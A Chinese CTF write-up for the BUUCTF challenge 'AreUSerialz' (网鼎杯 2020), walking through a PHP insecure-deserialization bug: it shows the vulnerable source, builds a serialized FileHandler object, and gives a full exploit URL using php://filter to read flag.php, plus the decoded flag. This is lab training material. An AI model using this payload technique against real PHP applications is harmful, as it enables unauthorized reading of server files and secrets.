BUUCTF-[网鼎杯 2020 青龙组]AreUSerialz
BUUCTF-[网鼎杯 2020 青龙组]AreUSerialz
看题
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
可以看到,首先让我们传入一个str字符串,往后看到is_valid
函数进行限制,传入的每个字符ascii码值必须在32~125之间,然后对传入的str执行反序列化。
先用destruct函数
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
如果op===2,那么op会赋值为1,content无值,并执行process函数,(===
强类型比较)
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
process函数,若op=="1"
,则执行write函数;若op=="2"
,则执行read函数,并且将值赋到res
然后输出;否则输出Bad Hacker!
。
此处为==
,弱类型比较,op=="2"
,结果为true,op==="2"
,结果为false。
read函数
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
调用file_get_contents
函数读取filename的内容,并且将值赋给res
include("flag.php");
可以通过php://filter伪协议读取flag.php中的内容。
构造反序列化
<?php
class FileHandler {
protected $op=2;
protected $filename="php://filter/read=convert.base64-encode/resource=flag.php";
protected $content;
}
$a = new FileHandler();
echo serialize($a);
?>
若用php版本低于7,会有00%,其对应ascii值为0,不在32~125,但是php7.X对属性类型不敏感,所以将protected
改为public
<?php
class FileHandler {
public $op=2;
public $filename="php://filter/read=convert.base64-encode/resource=flag.php";
public $content;
}
$a = new FileHandler();
echo serialize($a);
?>
得到序列化结果
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}
构造payload
http://e4929784-06ac-4807-8418-f142d1f5c1be.node3.buuoj.cn/?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:57:%22php://filter/read=convert.base64-encode/resource=flag.php%22;s:7:%22content%22;N;}
得到一段base64加密的语句。
PD9waHAgJGZsYWc9J2ZsYWd7ODM0Y2UxOTAtZTdiMC00MGYxLWIxYTQtMDE2YjBhMTE3YjMyfSc7Cg==
base64解码得到
<?php $flag='flag{834ce190-e7b0-40f1-b1a4-016b0a117b32}';
BUUCTF-[网鼎杯 2020 青龙组]AreUSerialz的更多相关文章
- [网鼎杯 2020 青龙组]AreUSerialz
题目分析 <?php include("flag.php"); highlight_file(FILE); class FileHandler { protected $op ...
- 网鼎杯2020青龙组writeup-web
本文首发于Leon的Blog,如需转载请注明原创地址并联系作者 AreUSerialz 开题即送源码: <?php include("flag.php"); highligh ...
- 【网鼎杯2020青龙组】Web WriteUp
AreUSerialz 打开题目直接给出了源代码 <?php include("flag.php"); highlight_file(__FILE__); class Fil ...
- BUUCTF | [网鼎杯 2020 朱雀组]phpweb
一道比较简单的题,不过对PHP还是不够熟悉 知识点 1.PHP date函数 PHP date() 函数用于对日期或时间进行格式化. 语法 date(format,timestamp) 参数 描述 f ...
- 刷题[网鼎杯 2020 朱雀组]phpweb
解题思路 打开是一个蛮有意思的背景,众生皆懒狗,是自己没错了.源代码看一看,啥都没有.抓个包 诶,一看到func和p两个参数,想到了call_user_func(). 尝试着把date改成system ...
- 【网鼎杯2020朱雀组】Web WriteUp
nmap nmap语法,很简单. 127.0.0.1' -iL /flag -oN vege.txt ' phpweb 打开,抓包,发现可以传递函数和其参数 试了一下很多函数都被过滤了,不能执行系统命 ...
- 【网鼎杯2020白虎组】Web WriteUp [picdown]
picdown 抓包发现存在文件包含漏洞: 在main.py下面暴露的flask的源代码 from flask import Flask, Response, render_template, req ...
- [网鼎杯 2020 朱雀组]phpweb-1|反序列化
1.打开界面之后界面一直在刷新,检查源代码也未发现提示信息,但是在检查中发现了两个隐藏的属性:func和p,抓包进行查看一下,结果如下: 2.对两个参数与返回值进行分析,我们使用dat时一般是这种格式 ...
- 网鼎杯2020 AreUSerialz
0x00 前言 ...有一说一,赵总的BUUCTF上的这道题目并没有复现到精髓.其实感觉出题人的题目本身没有那么简单的,只不过非预期实在是太简单惹. 涉及知识点: 1.php中protected变量反 ...
随机推荐
- 跨域jsonp+jQuery+json+html动态生成表格
1.什么是跨域 浏览器对于javascript的同源策略的限制,例如a.cn下面的js不能调用b.cn中的js,对象或数据(因为a.cn和b.cn是不同域),所以跨域就出现了. 凡是拥有scr这个属性 ...
- string子串匹配(用string自带函数,不涉及char数组转换)
using namespace std; #include <iostream> #include<string> //第1种,用string自带的s.subdtr()截取任意 ...
- (python函数03)zip()函数
(python函数03)zip()函数 zip是用来压缩的,它接受一系列可迭代的对象作为参数,将对象中对应的元素打包成一个个元组(tuple),然后返回有这些tuples组成的对象,可强制转化为列表和 ...
- <textarea></textarea>标签的placeholder属性不生效问题
<textarea></textarea>标签的placeholder属性不生效问题 1.在用到<textarea></textarea>标签时,设 ...
- Linux[Manjaro] 小新15笔记本AMD ryzen锐龙4800U,在安装系统后出现的随即死机冻屏问题
Linux[Manjaro] 小新15AMD ryzen锐龙4800U,在安装系统后出现的随即死机冻屏问题解决办法 年初尝试将manjaro安装在我的笔记本上就存在这个问题,也一度将我劝退.系统安装在 ...
- Vue slot 插槽用法:自定义列表组件
Vue 框架的插槽(slot)功能相对于常用的 v-for, v-if 等指令使用频率少得多,但在实现可复用的自定义组件时十分有用.例如,如果经常使用前端组件库的话,就会经常看到类似的用法: < ...
- 靶机Cyberry
工具 hydra.crunch.dirbuster 涉及到的点 Port knocking(端口试探) Brainfuck编码 ftp爆破 ssh爆破 openssl enc加密 命令执行漏洞 Lin ...
- C++ 友元 (全局函数做友元) (类做友元) (成员函数做友元)
1 //友元 全局函数做友元 2 /* 3 #include <iostream> 4 #include <string> 5 using namespace std; 6 7 ...
- Golang语言系列-17-Gin框架
Gin框架 Gin框架简介 package main import ( "github.com/gin-gonic/gin" "io" "net/ht ...
- 脚本小子学习--vulnhub靶机DC8
@ 目录 前言 一.环境搭建 二.目标和思路 三.实际操作 1.信息收集 2.getshell 总结 前言 通过一些靶机实战练习,学习使用现有的工具来成为脚本小子. 一.环境搭建 靶机:Linux虚拟 ...